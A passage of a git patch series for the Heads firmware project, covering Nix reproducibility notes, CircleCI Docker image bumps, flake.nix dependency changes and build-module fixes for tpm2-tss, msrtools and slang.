000000000..50aa3fe27 --- /dev/null +++ b/NIX_REPRO_NOTES @@ -0,0 +1,60 @@ +Notes to repro on top of QubesOS debian-12-xfce template based qube + +- Clone a debian-12-xfce on top of Q4.2.1 to be specialized +- Deploy QubesOS nix requirements in template: https://dataswamp.org/~solene/2023-05-15-qubes-os-install-nix.html +- Deploy QubesOS requirements for docker: https://gist.github.com/tlaurion/9113983bbdead492735c8438cd14d6cd +- Create a qube based on the cloned template above +- Open qube +- Clone whatever repo is most recent between https://github.com/mmlb/osresearch-heads/tree/wip-nix-for-build or https://github.com/tlaurion/heads/tree/wip-nix-for-build + - git clone Above_repo + - cd /home/user/heads or cd /home/user/osresearch-heads + - git checkout wip-nix-for-build + - git reset --hard + + + +Now, replication traces + +Install nix cleanly: +sudo rm -rf /nix/* || echo "cannot delete /nix" && sh <(curl -L https://nixos.org/nix/install) --no-daemon + +Source nix prior of creating nix cache and jumping in it +. /home/user/.nix-profile/etc/profile.d/nix.sh + +Configure nix for local builds until we have proper docker image instead: +mkdir -p ~/.config/nix +echo 'experimental-features = nix-command flakes' >~/.config/nix/nix.conf + +Build nix developer local env with flakes locks to specified versions and jump into it: +nix --print-build-logs --verbose develop --ignore-environment + +Build a board: +make BOARD=nitropad-nv41 + +In case you need to rebuild from packages+ patches + a clean ./install (where libraries and headers are found): +make real.remove_canary_files-extract_patch_rebuild_what_changed + +IF that doesn;t help you, look at the end of the global Helper for more helper. Iterate. + + + +build docker out of nix develop environement and jump into it: +nix build .#dockerImage && docker load < result && docker run --network host --rm -ti -v $(pwd):$(pwd) -w $(pwd) linuxboot/heads:dev-env + +From there, rebuild with +make real.remove_canary_files-extract_patch_rebuild_chat_changed +make BOARD=nitropad-nv41 + +Make changes until taht part works in both nix layer on top of OS and withing docker image. +...... + +SUCCESSSSS?!?!?!?! CELEBRATION! +Tell @mmlb and @insurgo on matrix channel!!!! + + +------- + +Some raw and incomplete notes on how to push that docker to dockerhub +docker tag linuxboot/heads:dev-env tlaurion/heads-dev-env:v0.0.3 +docker push tlaurion/heads-dev-env:v0.0.3 +(to be continued) From 093fc4a73ee5b001de2ce5a8309d08f795d5bb6f Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 24 Apr 2024 14:49:13 -0400 Subject: [PATCH 085/619] Makefile: reduce dependencies on external tools for dynamic MAKE_JOBS creation. Cleaner NIX_REPRO_NOTES Signed-off-by: Thierry Laurion --- Makefile | 9 ++++----- NIX_REPRO_NOTES | 16 +++++++--------- 2 files changed, 11 insertions(+), 14 deletions(-) diff --git a/Makefile b/Makefile index 68a601e6c..9c38f7d90 100644 --- a/Makefile +++ b/Makefile @@ -30,8 +30,8 @@ board_build = $(build)/$(BOARD) MEM_PER_JOB_GB ?= 1 # Controls how many parallel jobs are invoked in subshells -CPUS ?= $(shell getconf _NPROCESSORS_ONLN) -AVAILABLE_MEM_GB ?= $(shell awk '/MemAvailable/ {print int($$2 / 1024 / 1024)}' /proc/meminfo) +CPUS ?= $(shell nproc) +AVAILABLE_MEM_GB ?= $(shell cat /proc/meminfo | grep MemAvailable | awk '{print int($$2 / 1024)}') # Calculate the maximum number of jobs based on available memory MAX_JOBS_MEM := $(shell echo $$(( $(AVAILABLE_MEM_GB) / $(MEM_PER_JOB_GB) ))) @@ -44,12 +44,12 @@ CPUS := $(shell echo $$(($(CPUS) < $(MAX_JOBS_MEM) ? $(CPUS) : $(MAX_ LOADAVG ?= $(shell echo $$(( ($(CPUS) * 3) / 2 ))) # Construct MAKE_JOBS with dynamic CPU count and load average -MAKE_JOBS := -j$(CPUS) --load-average=$(LOADAVG) # Add other flags as needed +MAKE_JOBS := -j$(CPUS) --load-average=$(LOADAVG) # Add other flags as needed to be more adaptive to CIs # Print out the settings and compare system values with actual ones used $(info ----------------------------------------------------------------------) $(info !!!!!! BUILD SYSTEM INFO !!!!!!) -$(info System CPUS: $(shell getconf _NPROCESSORS_ONLN)) +$(info System CPUS: $(shell nproc)) $(info System Available Memory: $(AVAILABLE_MEM_GB) GB) $(info System Load Average: $(shell uptime | awk '{print $$10}')) $(info ----------------------------------------------------------------------) @@ -68,7 +68,6 @@ $(info ----------------------------------------------------------------------) $(info !!!!!! Build starts !!!!!!) - # Timestamps should be in ISO format DATE=`date --rfc-3339=seconds` diff --git a/NIX_REPRO_NOTES b/NIX_REPRO_NOTES index 50aa3fe27..bf9af50bb 100644 --- a/NIX_REPRO_NOTES +++ b/NIX_REPRO_NOTES @@ -15,22 +15,20 @@ Notes to repro on top of QubesOS debian-12-xfce template based qube Now, replication traces -Install nix cleanly: +#Install nix cleanly: sudo rm -rf /nix/* || echo "cannot delete /nix" && sh <(curl -L https://nixos.org/nix/install) --no-daemon - -Source nix prior of creating nix cache and jumping in it +#Source nix prior of creating nix cache and jumping in it . /home/user/.nix-profile/etc/profile.d/nix.sh - -Configure nix for local builds until we have proper docker image instead: +#Configure nix for local builds until we have proper docker image instead: mkdir -p ~/.config/nix echo 'experimental-features = nix-command flakes' >~/.config/nix/nix.conf - -Build nix developer local env with flakes locks to specified versions and jump into it: +#Build nix developer local env with flakes locks to specified versions and jump into it: nix --print-build-logs --verbose develop --ignore-environment - -Build a board: +#Build a board make BOARD=nitropad-nv41 + + In case you need to rebuild from packages+ patches + a clean ./install (where libraries and headers are found): make real.remove_canary_files-extract_patch_rebuild_what_changed From b45fc960cf47c879e51fb5f8c3193f5d55fafc35 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 30 Apr 2024 15:20:38 -0400 Subject: [PATCH 086/619] CircleCI: Test tlaurion/heads-dev-env:v.0.0.5 (created from flake develop) which fails at tpm2-tss - switch cache to nix-docker-heads to not interfere with nixos develop layer on same PR - remove nix develop calls; replace by direct script calls and make calls - make sure save/restore/root is ~/heads Signed-off-by: Thierry Laurion Signed-off-by: Thierry Laurion --- .circleci/config.yml | 54 ++++++++++++++++++++------------------------ 1 file changed, 24 insertions(+), 30 deletions(-) diff --git a/.circleci/config.yml b/.circleci/config.yml index da6280b90..f4602c743 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -14,7 +14,7 @@ commands: name: Make Board (console logs not contiguous because multiple CPUS used to build under CircleCI, see logs in artifacts or Output build failing logs below in case of failed step) command: | rm -rf build/<>/<>/* build/<>/log/* - nix --print-build-logs --verbose develop --ignore-environment --command make V=1 BOARD=<> <> || touch ./tmpDir/failed_build + make V=1 BOARD=<> <> || touch ./tmpDir/failed_build no_output_timeout: 3h - run: name: Output hashes @@ -43,7 +43,7 @@ commands: jobs: prep_env: docker: - - image: nixos/nix:2.16.1 + - image: tlaurion/heads-dev-env:v0.0.5 resource_class: large working_directory: ~/heads steps: @@ -52,12 +52,6 @@ jobs: name: git reset command: | git reset --hard "$CIRCLE_SHA1" - - run: - name: Fetch nix dependencies - command: | - mkdir -p ~/.config/nix - echo 'experimental-features = nix-command flakes' >~/.config/nix/nix.conf - nix --print-build-logs --verbose develop --ignore-environment --command true - run: name: Make tmp dir command: | @@ -80,42 +74,42 @@ jobs: # Cache for matching modules digest, validated to be exactly the same as in github current commit. # This cache was made on top of below caches, if previously existing. # If no module definition changed, we reuse this one - - nix-heads-modules-and-patches-{{ checksum "./tmpDir/all_modules_and_patches.sha256sums" }}{{ .Environment.CACHE_VERSION }} + - nix-docker-heads-modules-and-patches-{{ checksum "./tmpDir/all_modules_and_patches.sha256sums" }}{{ .Environment.CACHE_VERSION }} # Cache for coreboot module (and patches) and musl-cross-make digests (coreboot: triannual release) - - nix-heads-coreboot-musl-cross-{{ checksum "./tmpDir/coreboot_musl-cross.sha256sums" }}{{ .Environment.CACHE_VERSION }} + - nix-docker-heads-coreboot-musl-cross-{{ checksum "./tmpDir/coreboot_musl-cross.sha256sums" }}{{ .Environment.CACHE_VERSION }} # Cache for musl-cross-make module digest (rarely modified). - - nix-heads-musl-cross-{{ checksum "./tmpDir/musl-cross.sha256sums" }}{{ .Environment.CACHE_VERSION }} + - nix-docker-heads-musl-cross-{{ checksum "./tmpDir/musl-cross.sha256sums" }}{{ .Environment.CACHE_VERSION }} - run: name: Download and neuter xx20 ME (keep generated GBE and extracted IFD in tree) command: | - nix --print-build-logs --verbose develop --ignore-environment --command ./blobs/xx20/download_parse_me.sh + ./blobs/xx20/download_parse_me.sh - run: # me_cleaner.py present under heads xx30 blobs dir comes from https://github.com/corna/me_cleaner/blob/43612a630c79f3bc6f2653bfe90dfe0b7b137e08/me_cleaner.py name: Download and neuter xx30 ME (keep generated GBE and extracted IFD in tree) command: | - nix --print-build-logs --verbose develop --ignore-environment --command ./blobs/xx30/download_clean_me_manually.sh -m $(readlink -f ./blobs/xx30/me_cleaner.py) + ./blobs/xx30/download_clean_me_manually.sh -m $(readlink -f ./blobs/xx30/me_cleaner.py) - run: name: Download and extract t530 vbios roms for dgpu boards command: | echo skipping for now exit 0 - nix --print-build-logs --verbose develop --ignore-environment --command ./blobs/xx30/vbios_t530.sh + ./blobs/xx30/vbios_t530.sh - run: name: Download and extract w530 vbios roms for dgpu boards command: | echo skipping for now exit 0 - nix --print-build-logs --verbose develop --ignore-environment --command ./blobs/xx30/vbios_w530.sh + ./blobs/xx30/vbios_w530.sh - persist_to_workspace: - root: ~/ + root: ~/heads paths: - . build_and_persist: docker: - - image: nixos/nix:2.16.1 + - image: tlaurion/heads-dev-env:v0.0.5 resource_class: large working_directory: ~/heads parameters: @@ -128,22 +122,22 @@ jobs: type: string steps: - attach_workspace: - at: ~/ + at: ~/heads - build_board: arch: <> target: <> subcommand: <> - persist_to_workspace: - root: ~/ + root: ~/heads paths: - - heads/packages/<> - - heads/build/<> - - heads/crossgcc/<> - - heads/install/<> + - packages/<> + - build/<> + - crossgcc/<> + - install/<> build: docker: - - image: nixos/nix:2.16.1 + - image: tlaurion/heads-dev-env:v0.0.5 resource_class: large working_directory: ~/heads parameters: @@ -156,7 +150,7 @@ jobs: type: string steps: - attach_workspace: - at: ~/ + at: ~/heads - build_board: arch: <> target: <> @@ -164,16 +158,16 @@ jobs: save_cache: docker: - - image: nixos/nix:2.16.1 + - image: tlaurion/heads-dev-env:v0.0.5 resource_class: large working_directory: ~/heads steps: - attach_workspace: - at: ~/ + at: ~/heads - save_cache: # Generate cache for the same musl-cross module definition if hash is not previously existing # CircleCI removed their wildcard support, so we have to list precise versions to cache in directory names - key: nix-heads-musl-cross-{{ checksum "./tmpDir/musl-cross.sha256sums" }}{{ .Environment.CACHE_VERSION }} + key: nix-docker-heads-musl-cross-{{ checksum "./tmpDir/musl-cross.sha256sums" }}{{ .Environment.CACHE_VERSION }} paths: - build/ppc64/musl-cross-38e52db8358c043ae82b346a2e6e66bc86a53bc1 - build/x86/musl-cross-38e52db8358c043ae82b346a2e6e66bc86a53bc1 @@ -182,7 +176,7 @@ jobs: - save_cache: # Generate cache for the same coreboot mnd musl-cross-make modules definition if hash is not previously existing # CircleCI removed their wildcard support, so we have to list precise versions to cache in directory names - key: nix-heads-coreboot-musl-cross-{{ checksum "./tmpDir/coreboot_musl-cross.sha256sums" }}{{ .Environment.CACHE_VERSION }} + key: nix-docker-heads-coreboot-musl-cross-{{ checksum "./tmpDir/coreboot_musl-cross.sha256sums" }}{{ .Environment.CACHE_VERSION }} paths: - build/ppc64/coreboot-talos_2 - build/ppc64/musl-cross-38e52db8358c043ae82b346a2e6e66bc86a53bc1 @@ -199,7 +193,7 @@ jobs: - packages - save_cache: #Generate cache for the exact same modules definitions if hash is not previously existing - key: nix-heads-modules-and-patches-{{ checksum "./tmpDir/all_modules_and_patches.sha256sums" }}{{ .Environment.CACHE_VERSION }} + key: nix-docker-heads-modules-and-patches-{{ checksum "./tmpDir/all_modules_and_patches.sha256sums" }}{{ .Environment.CACHE_VERSION }} paths: - build - crossgcc From 32e7082f094c5eb01bba7fe58ab0fadc4245e7b2 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 1 May 2024 11:09:38 -0400 Subject: [PATCH 087/619] flake.nix: change zlib and zlib.dev for zlib-ng? https://app.circleci.com/pipelines/github/tlaurion/heads/2500/workflows/23674215-8b22-4852-adf4-2a6df9e44353/jobs/45080?invite=true#step-102-16530_106 zlib-dev not found on coreboot buildstack buildstep... Signed-off-by: Thierry Laurion --- flake.nix | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/flake.nix b/flake.nix index 8796f9290..8168cca55 100644 --- a/flake.nix +++ b/flake.nix @@ -61,8 +61,7 @@ which xz zip - zlib - zlib.dev + zlib-ng ] ++ [ # blobs/xx30/vbios_[tw]530.sh From 53ca8d3554e493b5cb5c5271417cae889f6f865a Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 1 May 2024 11:22:56 -0400 Subject: [PATCH 088/619] CirlceCI: use docker v0.0.6 which flake.nix jumped from zlib/zlib.dev to zlib-ng Signed-off-by: Thierry Laurion --- .circleci/config.yml | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/.circleci/config.yml b/.circleci/config.yml index f4602c743..38453d77a 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -43,7 +43,7 @@ commands: jobs: prep_env: docker: - - image: tlaurion/heads-dev-env:v0.0.5 + - image: tlaurion/heads-dev-env:v0.0.6 resource_class: large working_directory: ~/heads steps: @@ -109,7 +109,7 @@ jobs: build_and_persist: docker: - - image: tlaurion/heads-dev-env:v0.0.5 + - image: tlaurion/heads-dev-env:v0.0.6 resource_class: large working_directory: ~/heads parameters: @@ -137,7 +137,7 @@ jobs: build: docker: - - image: tlaurion/heads-dev-env:v0.0.5 + - image: tlaurion/heads-dev-env:v0.0.6 resource_class: large working_directory: ~/heads parameters: @@ -158,7 +158,7 @@ jobs: save_cache: docker: - - image: tlaurion/heads-dev-env:v0.0.5 + - image: tlaurion/heads-dev-env:v0.0.6 resource_class: large working_directory: ~/heads steps: From f676405ae16d725042444409bd827a80ba98e96a Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 1 May 2024 12:39:06 -0400 Subject: [PATCH 089/619] Revert "flake.nix: change zlib and zlib.dev for zlib-ng? https://app.circleci.com/pipelines/github/tlaurion/heads/2500/workflows/23674215-8b22-4852-adf4-2a6df9e44353/jobs/45080?invite=true#step-102-16530_106 zlib-dev not found on coreboot buildstack buildstep..." This reverts commit d6c499676ed07037bcb4ca66db3d3876a87de23b. Signed-off-by: Thierry Laurion --- flake.nix | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/flake.nix b/flake.nix index 8168cca55..8796f9290 100644 --- a/flake.nix +++ b/flake.nix @@ -61,7 +61,8 @@ which xz zip - zlib-ng + zlib + zlib.dev ] ++ [ # blobs/xx30/vbios_[tw]530.sh From 70a9f93ddf2ef429a6724097cafe58faf109f466 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 1 May 2024 12:39:41 -0400 Subject: [PATCH 090/619] Revert "CirlceCI: use docker v0.0.6 which flake.nix jumped from zlib/zlib.dev to zlib-ng" This reverts commit 9052d2b562162183fa201ebf89c75be904d87281. Signed-off-by: Thierry Laurion --- .circleci/config.yml | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/.circleci/config.yml b/.circleci/config.yml index 38453d77a..f4602c743 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -43,7 +43,7 @@ commands: jobs: prep_env: docker: - - image: tlaurion/heads-dev-env:v0.0.6 + - image: tlaurion/heads-dev-env:v0.0.5 resource_class: large working_directory: ~/heads steps: @@ -109,7 +109,7 @@ jobs: build_and_persist: docker: - - image: tlaurion/heads-dev-env:v0.0.6 + - image: tlaurion/heads-dev-env:v0.0.5 resource_class: large working_directory: ~/heads parameters: @@ -137,7 +137,7 @@ jobs: build: docker: - - image: tlaurion/heads-dev-env:v0.0.6 + - image: tlaurion/heads-dev-env:v0.0.5 resource_class: large working_directory: ~/heads parameters: @@ -158,7 +158,7 @@ jobs: save_cache: docker: - - image: tlaurion/heads-dev-env:v0.0.6 + - image: tlaurion/heads-dev-env:v0.0.5 resource_class: large working_directory: ~/heads steps: From 76c20847da66ead24659bcf56b5aec98cdb23bfb Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 1 May 2024 12:10:14 -0400 Subject: [PATCH 091/619] CircleCI: add CircleCI step to source manually /devenv.sh in build_board additional step Signed-off-by: Thierry Laurion --- .circleci/config.yml | 2 ++ 1 file changed, 2 insertions(+) diff --git a/.circleci/config.yml b/.circleci/config.yml index f4602c743..7c5d28488 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -13,6 +13,8 @@ commands: - run: name: Make Board (console logs not contiguous because multiple CPUS used to build under CircleCI, see logs in artifacts or Output build failing logs below in case of failed step) command: | + echo "Sourcing /devenv.sh since docker entrypoint doesn't do it as expected" + source /devenv.sh rm -rf build/<>/<>/* build/<>/log/* make V=1 BOARD=<> <> || touch ./tmpDir/failed_build no_output_timeout: 3h From fa60bf7dfb31c6440473d7c4a91dc701b12604bc Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 1 May 2024 13:23:10 -0400 Subject: [PATCH 092/619] modules/tpm2-tss: just remove LT_LIB_DLLOAD from aclocal generated file since there is no easy way of fixing this nix doesn't provide an equivalent of libltdl-dev, so just wipe the remnant of old ages if present https://github.com/tpm2-software/tpm2-tss/issues/2161 Signed-off-by: Thierry Laurion --- modules/tpm2-tss | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/modules/tpm2-tss b/modules/tpm2-tss index 91e1a26cd..e3d004bb6 100644 --- a/modules/tpm2-tss +++ b/modules/tpm2-tss @@ -15,7 +15,9 @@ tpm2-tss_hash := ba9e52117f254f357ff502e7d60fce652b3bfb26327d236bbf5ab634235e40f #sed -i 's/hardcode_into_libs=yes/hardcode_into_libs=no/g' configure # needed otherwise library build/x86/tpm2-tss-3.2.2/src/tss2-tcti/.libs/libtss2-tcti-pcap.so.0.0.0: # contains: /home/user/heads/build/x86/tpm2-tss-3.2.2/src/tss2-tcti/.libs:/home/user/heads/build/x86/tpm2-tss-3.2.2/src/tss2-mu/.libs://lib -tpm2-tss_configure := aclocal && automake --add-missing && autoreconf -fi \ +tpm2-tss_configure := \ + sed -i '/LT_LIB_DLLOAD/d' configure.ac \ + && aclocal && automake --add-missing && autoreconf -fi \ && sed -i 's/hardcode_into_libs=yes/hardcode_into_libs=no/g' configure \ && ./configure \ $(CROSS_TOOLS) \ From 35530f9115e9bbe3afbe04890af3dd3598b832ac Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 1 May 2024 14:30:03 -0400 Subject: [PATCH 093/619] modules/msrtools : add missing MAKE_JOBS for parallel builds Signed-off-by: Thierry Laurion --- modules/msrtools | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/msrtools b/modules/msrtools index 8a9b6b5b2..25d2a3bc8 100644 --- a/modules/msrtools +++ b/modules/msrtools @@ -13,6 +13,7 @@ msrtools_url := https://github.com/osresearch/msr-tools/archive/$(msrtools_versi msrtools_hash := 80554790d0a404205fe215c9ae8d2de159e980ec23821d636f201f12550e6ac0 msrtools_target := \ + $(MAKE_JOBS) \ $(CROSS_TOOLS) \ CFLAGS="-I$(INSTALL)/include" \ LDFLAGS="-L$(INSTALL)/lib" \ From 89181181df52312230bad64f8a4f76acbd90ada1 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 1 May 2024 14:30:41 -0400 Subject: [PATCH 094/619] flake.nix: add openssl requirement to build talos-2 board's kernel Signed-off-by: Thierry Laurion --- flake.nix | 1 + 1 file changed, 1 insertion(+) diff --git a/flake.nix b/flake.nix index 8796f9290..a53ef508d 100644 --- a/flake.nix +++ b/flake.nix @@ -48,6 +48,7 @@ libtool m4 ncurses5 # make menuconfig and slang + openssl #needed for talos-2 kernel build parted patch perl From 9a72d9545ae2578549de057e3fbcf98c6d63d679 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 1 May 2024 14:47:03 -0400 Subject: [PATCH 095/619] CircleCI: use tlaurion/heads-dev-env:v0.0.7 which includes openssl in flake.nix for talos-2 board's linux config Signed-off-by: Thierry Laurion --- .circleci/config.yml | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/.circleci/config.yml b/.circleci/config.yml index 7c5d28488..a6673a6a3 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -45,7 +45,7 @@ commands: jobs: prep_env: docker: - - image: tlaurion/heads-dev-env:v0.0.5 + - image: tlaurion/heads-dev-env:v0.0.7 resource_class: large working_directory: ~/heads steps: @@ -111,7 +111,7 @@ jobs: build_and_persist: docker: - - image: tlaurion/heads-dev-env:v0.0.5 + - image: tlaurion/heads-dev-env:v0.0.7 resource_class: large working_directory: ~/heads parameters: @@ -139,7 +139,7 @@ jobs: build: docker: - - image: tlaurion/heads-dev-env:v0.0.5 + - image: tlaurion/heads-dev-env:v0.0.7 resource_class: large working_directory: ~/heads parameters: @@ -160,7 +160,7 @@ jobs: save_cache: docker: - - image: tlaurion/heads-dev-env:v0.0.5 + - image: tlaurion/heads-dev-env:v0.0.7 resource_class: large working_directory: ~/heads steps: From 50ab1c5b88982afef283df9d54a3d78051bedb81 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 1 May 2024 16:22:01 -0400 Subject: [PATCH 096/619] modules/patches slang: bump to version 2.3.3 so we can disable termcap without hacking around Signed-off-by: Thierry Laurion --- modules/slang | 5 +++-- .../unhardcode-ln-in-Makefile.patch | 0 2 files changed, 3 insertions(+), 2 deletions(-) rename patches/{slang-2.3.1a => slang-2.3.3}/unhardcode-ln-in-Makefile.patch (100%) diff --git a/modules/slang b/modules/slang index c99c64497..6a8f5d3c5 100644 --- a/modules/slang +++ b/modules/slang @@ -1,10 +1,10 @@ modules-$(CONFIG_SLANG) += slang -slang_version := 2.3.1a +slang_version := 2.3.3 slang_dir := slang-$(slang_version) slang_tar := slang-$(slang_version).tar.bz2 slang_url := https://www.jedsoft.org/releases/slang/$(slang_tar) -slang_hash := 54f0c3007fde918039c058965dffdfd6c5aec0bad0f4227192cc486021f08c36 +slang_hash := f9145054ae131973c61208ea82486d5dd10e3c5cdad23b7c4a0617743c8f5a18 slang_configure := ./configure \ $(CROSS_TOOLS) \ @@ -15,6 +15,7 @@ slang_configure := ./configure \ --with-pcre=no \ --with-png=no \ --with-z=no \ + --disable-termcap \ && mkdir -p src/elfobjs # Disable parallel make for the install target diff --git a/patches/slang-2.3.1a/unhardcode-ln-in-Makefile.patch b/patches/slang-2.3.3/unhardcode-ln-in-Makefile.patch similarity index 100% rename from patches/slang-2.3.1a/unhardcode-ln-in-Makefile.patch rename to patches/slang-2.3.3/unhardcode-ln-in-Makefile.patch From 5b2b4dc0fd0b81c0fc6996328643b176ae23e949 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Thu, 2 May 2024 09:54:14 -0400 Subject: [PATCH 097/619] flake.nix: add exporting of AC_LOCAL which was not exported in deveenv.sh. Was causing another ac macro misbehavior since host ac was not considered by aclocal and autoreconf TODO: Might want to revert 6a1791112de451509d81e03bce5bdd6b1a49a79f if talos-2 board is able to build 3rdparty/sb-sign-tool Signed-off-by: Thierry Laurion --- flake.nix | 2 ++ 1 file changed, 2 insertions(+) diff --git a/flake.nix b/flake.nix index a53ef508d..bd9a96f67 100644 --- a/flake.nix +++ b/flake.nix @@ -92,6 +92,7 @@ -e NIX_CFLAGS_COMPILE_FOR_TARGET \ -e NIX_LDFLAGS_FOR_TARGET \ -e PKG_CONFIG_PATH_FOR_TARGET \ + -e ACLOCAL_PATH \ ${self.devShell.${system}} >$out ''; packages.dockerImage = pkgs.dockerTools.buildLayeredImage { @@ -117,6 +118,7 @@ -e NIX_LDFLAGS_FOR_TARGET \ -e NIX_PKG_CONFIG_WRAPPER_TARGET \ -e PKG_CONFIG_PATH_FOR_TARGET \ + -e ACLOCAL_PATH \ ${self.devShell.${system}} >/devenv.sh printf '[safe]\n\tdirectory = *\n' >/.gitconfig From 19bccf0cbd12382903f8feaa98cad9d848bf515d Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Thu, 2 May 2024 09:56:55 -0400 Subject: [PATCH 098/619] Revert "modules/tpm2-tss: just remove LT_LIB_DLLOAD from aclocal generated file since there is no easy way of fixing this" This reverts commit 6a1791112de451509d81e03bce5bdd6b1a49a79f. Signed-off-by: Thierry Laurion --- modules/tpm2-tss | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/modules/tpm2-tss b/modules/tpm2-tss index e3d004bb6..91e1a26cd 100644 --- a/modules/tpm2-tss +++ b/modules/tpm2-tss @@ -15,9 +15,7 @@ tpm2-tss_hash := ba9e52117f254f357ff502e7d60fce652b3bfb26327d236bbf5ab634235e40f #sed -i 's/hardcode_into_libs=yes/hardcode_into_libs=no/g' configure # needed otherwise library build/x86/tpm2-tss-3.2.2/src/tss2-tcti/.libs/libtss2-tcti-pcap.so.0.0.0: # contains: /home/user/heads/build/x86/tpm2-tss-3.2.2/src/tss2-tcti/.libs:/home/user/heads/build/x86/tpm2-tss-3.2.2/src/tss2-mu/.libs://lib -tpm2-tss_configure := \ - sed -i '/LT_LIB_DLLOAD/d' configure.ac \ - && aclocal && automake --add-missing && autoreconf -fi \ +tpm2-tss_configure := aclocal && automake --add-missing && autoreconf -fi \ && sed -i 's/hardcode_into_libs=yes/hardcode_into_libs=no/g' configure \ && ./configure \ $(CROSS_TOOLS) \ From 6070d8f6f0319ead8de3f3b676c137f6ade0236c Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Thu, 2 May 2024 11:09:11 -0400 Subject: [PATCH 099/619] CircleCI: use tlaurion/heads-dev-env:v0.0.8 which includes AC_LOCAL export of develop env into the docker image. Works locally for talos-2 board build. Signed-off-by: Thierry Laurion --- .circleci/config.yml | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/.circleci/config.yml b/.circleci/config.yml index a6673a6a3..327574ca3 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -45,7 +45,7 @@ commands: jobs: prep_env: docker: - - image: tlaurion/heads-dev-env:v0.0.7 + - image: tlaurion/heads-dev-env:v0.0.8 resource_class: large working_directory: ~/heads steps: @@ -111,7 +111,7 @@ jobs: build_and_persist: docker: - - image: tlaurion/heads-dev-env:v0.0.7 + - image: tlaurion/heads-dev-env:v0.0.8 resource_class: large working_directory: ~/heads parameters: @@ -139,7 +139,7 @@ jobs: build: docker: - - image: tlaurion/heads-dev-env:v0.0.7 + - image: tlaurion/heads-dev-env:v0.0.8 resource_class: large working_directory: ~/heads parameters: @@ -160,7 +160,7 @@ jobs: save_cache: docker: - - image: tlaurion/heads-dev-env:v0.0.7 + - image: tlaurion/heads-dev-env:v0.0.8 resource_class: large working_directory: ~/heads steps: From 46cad549ef5b1de40dd36c61b824735d4217f8a1 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Thu, 2 May 2024 14:57:05 -0400 Subject: [PATCH 100/619] WiP flake.nix: make docker image usable for testing as well, target: qemu-coreboot-whiptail-tpm2 with swtpm and canokey for smartcard - include nix tools inside of the docker to be able to call the garbage collector prior of creating docker. - protect roots from garbage collection (WiP) - Requires external preparation call so that nix (the binary) is not wiped as well. See NIX_REPRO_NOTES at the end of the file for repro notes - Could probably be improved. Works as of now and created a 4Gb vs 3.02Gb docker image I'm uploading now. - CircleCI bumped to use v0.0.9 version including this - CircleCI now depending on flake.lock for all cache layers. Will rebuild clean once again So now we have qemu with canokey support in image, nix basic tools inside of container. Possible to call docker with DISPLAY, see NIX_REPRO_NOTES as of now. That feels nice. No need of USB security dongle to have TPM based TPMTOTP nor detach sign? Not tested but feature is there TODO: - make docker creating nicer in the Nix way. - Add canokey support under targets/qemu.mk - add canokey board version At least we have reproducible stack and testing stack being in same docker image. Docker image moved from 991.18MB (v0.0.8) to 1.18GB (v0.0.9) - And I tried to clean binaries of symbols here! Seems like I do not know enough of the Nix way here. Signed-off-by: Thierry Laurion --- .circleci/config.yml | 14 +-- NIX_REPRO_NOTES | 19 ++++ flake.lock | 6 +- flake.nix | 228 ++++++++++++++++++++++++------------------- targets/qemu.mk | 2 +- 5 files changed, 160 insertions(+), 109 deletions(-) diff --git a/.circleci/config.yml b/.circleci/config.yml index 327574ca3..1e2af08b0 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -45,7 +45,7 @@ commands: jobs: prep_env: docker: - - image: tlaurion/heads-dev-env:v0.0.8 + - image: tlaurion/heads-dev-env:v0.0.9 resource_class: large working_directory: ~/heads steps: @@ -61,15 +61,15 @@ jobs: - run: name: Creating all modules and patches digest (All modules cache digest) command: | - find ./Makefile ./patches/ ./modules/ -type f | sort -h |xargs sha256sum > ./tmpDir/all_modules_and_patches.sha256sums + find ./Makefile ./flake.lock ./patches/ ./modules/ -type f | sort -h |xargs sha256sum > ./tmpDir/all_modules_and_patches.sha256sums - run: name: Creating coreboot (and associated patches) and musl-cross-make modules digest (musl-cross-make and coreboot cache digest) command: | - find ./Makefile ./modules/coreboot ./modules/musl-cross* ./patches/coreboot* -type f | sort -h | xargs sha256sum > ./tmpDir/coreboot_musl-cross.sha256sums + find ./Makefile ./flake.lock ./modules/coreboot ./modules/musl-cross* ./patches/coreboot* -type f | sort -h | xargs sha256sum > ./tmpDir/coreboot_musl-cross.sha256sums - run: name: Creating musl-cross-make and musl-cross-make patches digest (musl-cross-make cache digest) command: | - find ./Makefile modules/musl-cross* -type f | sort -h | xargs sha256sum > ./tmpDir/musl-cross.sha256sums + find ./Makefile ./flake.lock modules/musl-cross* -type f | sort -h | xargs sha256sum > ./tmpDir/musl-cross.sha256sums - 